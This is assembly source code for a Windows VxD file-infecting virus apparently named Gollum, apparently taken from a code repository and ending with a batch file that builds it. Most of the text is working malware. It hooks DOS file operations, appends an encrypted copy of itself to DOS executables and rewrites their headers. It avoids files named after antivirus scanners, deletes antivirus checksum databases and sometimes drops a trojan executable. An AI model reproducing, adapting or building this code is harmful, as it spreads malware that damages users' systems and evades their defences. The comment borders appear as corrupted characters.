;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VxD_ICODE_SEG
;This is the virus startup code (Sys_Critical_Init)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BeginProc WGoLLuM_Sys_Critical_Init
;Get path of WIN386.EXE
VMMCall Get_Exec_Path
;Copy path to our buffer
mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb
mov esi,OFFSET32 Gollum_Name
mov ecx,0Bh
cld
rep movsb
;Return, Sys_Critical_Init complete
clc
ret
EndProc WGoLLuM_Sys_Critical_Init
;This is the virus startup code (Device_Init)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BeginProc WGoLLuM_Device_Init
;Hook int 21h so we can monitor dos file operations
mov eax,21h
mov esi,OFFSET32 VxD_Int_21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc WGoLLuM_Device_Init
;This is the virus startup code (Init_Complete)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BeginProc WGoLLuM_Init_Complete
;Check current date
mov ah,04h
VxDint 1Ah
cmp dx,0604h
jne short Not_Yet
;Display instalation msg
VMMCall Get_SYS_VM_Handle
xor eax,eax
mov ecx,OFFSET32 VxD_Installation_Msg
mov edi,OFFSET32 VxD_Installation_Title
VxDcall Shell_SYSMODAL_Message
Not_Yet:
;Return, Sys_Critical_Init complete
clc
ret
EndProc WGoLLuM_Init_Complete
VxD_ICODE_ENDS
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Locked code segment <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VxD_LOCKED_CODE_SEG
;This is a call-back routine to handle the messages that are sent
;to VxD's to control system operation
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BeginProc WGoLLuM_Control
Control_Dispatch Sys_Critical_Init, WGoLLuM_Sys_Critical_Init
Control_Dispatch Device_Init, WGoLLuM_Device_Init
Control_Dispatch Init_Complete, WGoLLuM_Init_Complete
clc
ret
EndProc WGoLLuM_Control
;This is the virus int 21h handler
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BeginProc VxD_Int_21h, High_Freq
;Save regs
pushad
;Check for our own calls (avoid recursive int 21h calls)
cmp dword ptr [Our_Own_Call_Flag],"BUSY"
je short Exit_VxD_Int_21h
;Set flag
mov dword ptr [Our_Own_Call_Flag],"BUSY"
;Get called function
mov ax,word ptr [ebp.Client_AX]
;Check for Exec function calls
cmp ax,4B00h
je short Store_FileName
;Check for Terminate with error-code 00h function calls
cmp ax,4C00h
je short Infect_Stored_FileName
cmp ah,3Bh
je Drop_Exe_Trojan
Exit_VxD_Int_21h:
;Clear flag
mov dword ptr [Our_Own_Call_Flag],"FREE"
;Restore regs
popad
;Int not served yet
stc
ret
;Save file name for later infection
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Store_FileName:
;Save filename into our buffer
movzx edx,word ptr [ebp.Client_DX]
movzx eax,word ptr [ebp.Client_DS]
shl eax,04h
add eax,edx
mov esi,eax
mov edi,OFFSET32 Infect_FileName
Go_Thru_Filename:
cld
lodsb
stosb
or al,al
jnz Go_Thru_Filename
jmp Exit_VxD_Int_21h
;Infect stored file name
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Infect_Stored_FileName:
;Check if working on C: drive
mov esi,OFFSET32 Infect_FileName
cmp word ptr [esi],":C"
jne Infect_Error
Look_End:
;Find null marker into filename
cld
lodsb
or al,al
jnz Look_End
Found_Tail:
;Search begin of file name
dec esi
mov ecx,0080h
Look_Start:
std
lodsb
;Do not infect files with V character in their names
cmp al,"V"
je Infect_Error
;Do not infect files with digit in their names
cmp al,"0"
jb short Check_Start
cmp al,"9"
jbe Infect_Error
Check_Start:
cmp al,"\"
je short Check_Names
loop Look_Start
;Begin of file name not found, tchhh...
jmp Infect_Error
Check_Names:
inc esi
inc esi
;Save pointer to file name start
mov dword ptr [Start_FileName],esi
cld
lodsd
;Check for SCAN
cmp eax,"NACS"
je Infect_Error
;Check for F-PROT
cmp eax,"RP-F"
je Infect_Error
;Avoid THUNDERBYTE shit
cmp ax,"BT"
je Infect_Error
;Get file attr
mov ax,4300h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Infect_Error
;Save file attr
mov word ptr [file_attr],cx
;Wipe out attr
mov ax,4301h
xor cx,cx
VxDint 21h
jc Infect_Error
;Open file to infect
mov ax,3D02h
mov edx,OFFSET32 Infect_FileName
VxDint 21h
jc Restore_Attr
;Get file handler
mov word ptr [Victim_Handle],ax
xchg bx,ax
;Get file date/time
mov ax,5700h
VxDint 21h
jc Infect_Close
;Save file date time
mov word ptr [File_Time],cx
mov word ptr [File_Date],dx
;Read file header
mov ah,3Fh
mov ecx,Header_Size
mov edx,OFFSET32 File_Header
VxDint 21h
jc Restore_Date_Time
;Seek to EOF and get real file size
call Seek_File_End
jc Restore_Date_Time
;Do not infect too small files
cmp eax,DOS_Virus_Size+VxD_Size
jbe Restore_Date_Time
Test_EXE_File:
;Point esi to file header
mov esi,OFFSET32 File_Header
;Check dos .EXE file type mark
cmp word ptr [esi],"ZM"
jne Restore_Date_Time
;Check if file is infected
cmp word ptr [esi+12h],"CR"
je Restore_Date_Time
;Don't infect Windows files or above
cmp word ptr [esi+19h],0040h
jae Restore_Date_Time
;Don't infect overlays
cmp word ptr [esi+1Ah],0000h
jne Restore_Date_Time
;Check maxmem field
cmp word ptr [esi+0Ch],0FFFFh
jne Restore_Date_Time
;Save entry point
push eax
mov eax,dword ptr [esi+14h]
;Crypt it!
not eax
mov dword ptr [DOS_Virus_Code+0177h],eax
pop eax
;Make a copy of .exe file header
push esi
mov edi,OFFSET32 Header_Copy
mov ecx,Header_Size
Copy_Loop:
cld
lodsb
not al
stosb
loop Copy_Loop
pop esi
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 10h
mov cx,0010h
div cx
;Sub header size
sub ax,word ptr [esi+08h]
;New entry point at EOF
mov word ptr [esi+14h],dx
mov word ptr [esi+16h],ax
;Save delta offset
mov word ptr [DOS_Virus_Code+0001h],dx
;Set new offset of stack segment in load module
inc ax
mov word ptr [esi+0Eh],ax
;Set new stack pointer beyond end of virus
add dx,DOS_Virus_Size+VxD_Size+0200h
;Aligment
and dx,0FFFEh
mov word ptr [esi+10h],dx
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Get file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_1
inc ax
Size_Round_1:
;Check if file size is as header says
cmp ax,word ptr [esi+04h]
jne Restore_Date_Time
cmp dx,word ptr [esi+02h]
jne Restore_Date_Time
;Get file size into dx:ax
mov eax,dword ptr [File_Size]
mov edx,eax
shr edx,10h
;Add virus size to file size
add ax,DOS_Virus_Size+VxD_Size
adc dx,0000h
;Get infected file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz short Size_Round_2
inc ax
Size_Round_2:
;Store new size
mov word ptr [esi+02h],dx
mov word ptr [esi+04h],ax
;Write DOS virus area next to EOF
mov ah,40h
mov ecx,DOS_Virus_Size
mov edx,OFFSET32 DOS_Virus_Code
VxDint 21h
jc Restore_Date_Time
;Open Gollum VxD file
mov ax,3D00h
mov edx,OFFSET32 VxD_File_Name
VxDint 21h
jc Restore_Date_Time
;Save file handler
mov word ptr [Gollum_Handle],ax
Read_VxD_Block:
;Read VxD file block
mov ah,3Fh
mov bx,word ptr [Gollum_Handle]
mov ecx,0200h
mov edx,OFFSET32 VxD_Buffer
VxDint 21h
push eax
;Encrypt block
mov esi,edx
mov edi,edx
mov cx,0200h
Crypt_Loop_3:
cld
lodsb
not al
stosb
loop Crypt_Loop_3
;Write block
pop ecx
mov ah,40h
mov bx,word ptr [Victim_Handle]
VxDint 21h
cmp cx,0200h
je Read_VxD_Block
;Close file
mov bx,word ptr [Gollum_Handle]
mov ah,3Eh
VxDint 21h
;Seek to beginning of file
mov bx,word ptr [Victim_Handle]
call Seek_File_Start
;Mark file as infected
mov esi,OFFSET32 File_Header
mov word ptr [esi+12h],"CR"
;Write new header
mov ah,40h
mov cx,Header_Size
mov edx,esi
VxDint 21h
;Delete ANTI-VIR.DAT
mov esi,OFFSET32 CheckSum_File_00
call Delete_File
;Delete CHKLIST.TAV
mov esi,OFFSET32 CheckSum_File_01
call Delete_File
;Delete CHKLIST.MS
mov esi,OFFSET32 CheckSum_File_02
call Delete_File
;Delete AVP.CRC
mov esi,OFFSET32 CheckSum_File_03
call Delete_File
;Delete IVB.NTZ
mov esi,OFFSET32 CheckSum_File_04
call Delete_File
Restore_Date_Time:
mov ax,5701h
mov cx,word ptr [File_Time]
mov dx,word ptr [File_Date]
VxDint 21h
Infect_Close:
;Close file
mov ah,3Eh
VxDint 21h
Restore_Attr:
;Restore file attr
mov ax,4301h
mov cx,word ptr [File_Attr]
mov edx,OFFSET32 Infect_FileName
VxDint 21h
Infect_Error:
jmp Exit_VxD_Int_21h
;Drop a trojan .EXE file (sometimes)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Drop_Exe_Trojan:
;This is our dice
in ax,40h
cmp al,0FFh
jne Bad_OverWrite
;Open Gollum VxD file
mov ax,3D00h
mov edx,OFFSET32 VxD_File_Name
VxDint 21h
jc Bad_OverWrite
;Save file handler
mov word ptr [Gollum_Handle],ax
;Create file, abort if exist
mov ah,5Bh
xor cx,cx
mov edx,OFFSET32 Trojan_File_Name
VxDint 21h
jc short Bad_OverOpen
;Save file handler
mov word ptr [Victim_Handle],ax
Trojanize_Block:
;Read VxD file block
mov ah,3Fh
mov bx,word ptr [Gollum_Handle]
mov ecx,0200h
mov edx,OFFSET32 VxD_Buffer
VxDint 21h
;Write block
xchg ecx,eax
mov ah,40h
mov bx,word ptr [Victim_Handle]
VxDint 21h
cmp cx,0200h
je Trojanize_Block
;Close trojan file
mov ah,3Eh
VxDint 21h
Bad_OverOpen:
;Close virus VxD file
mov bx,word ptr [Gollum_Handle]
mov ah,3Eh
VxDint 21h
Bad_OverWrite:
jmp Exit_VxD_Int_21h
;Delete file routines
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Delete_File:
mov edi,dword ptr [Start_FileName]
Copy_DB_Name:
cld
lodsb
stosb
or al,al
jnz Copy_DB_Name
;Wipe out file attr
mov ax,4301h
xor ecx,ecx
mov edx,OFFSET32 Infect_FileName
VxDint 21h
;Delete filename
mov ah,41h
VxDint 21h
ret
;Move file pointer routines (bx = file handle)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Seek_File_Start:
xor al,al
jmp SHORT Seek_Int_21h
Seek_File_End:
mov al,02h
Seek_Int_21h:
mov ah,42h
xor cx,cx
xor dx,dx
VxDint 21h
jc short Seek_Error
;Return file pointer position into eax
and eax,0000FFFFh
shl edx,10h
add eax,edx
mov dword ptr [File_Size],eax
clc
ret
Seek_Error:
stc
ret
EndProc VxD_Int_21h
VxD_LOCKED_CODE_ENDS
END
; - -[ASSEMBLE.BAT - Batch file used to build GOLLUM.INC] - - - - - - - ->8
tasm gollum
tlink /Tde gollum
exe2bin gollum.exe gollum.bin
crypt
data gollum.crp gollum.inc
Reference in New Issue Copy Permalink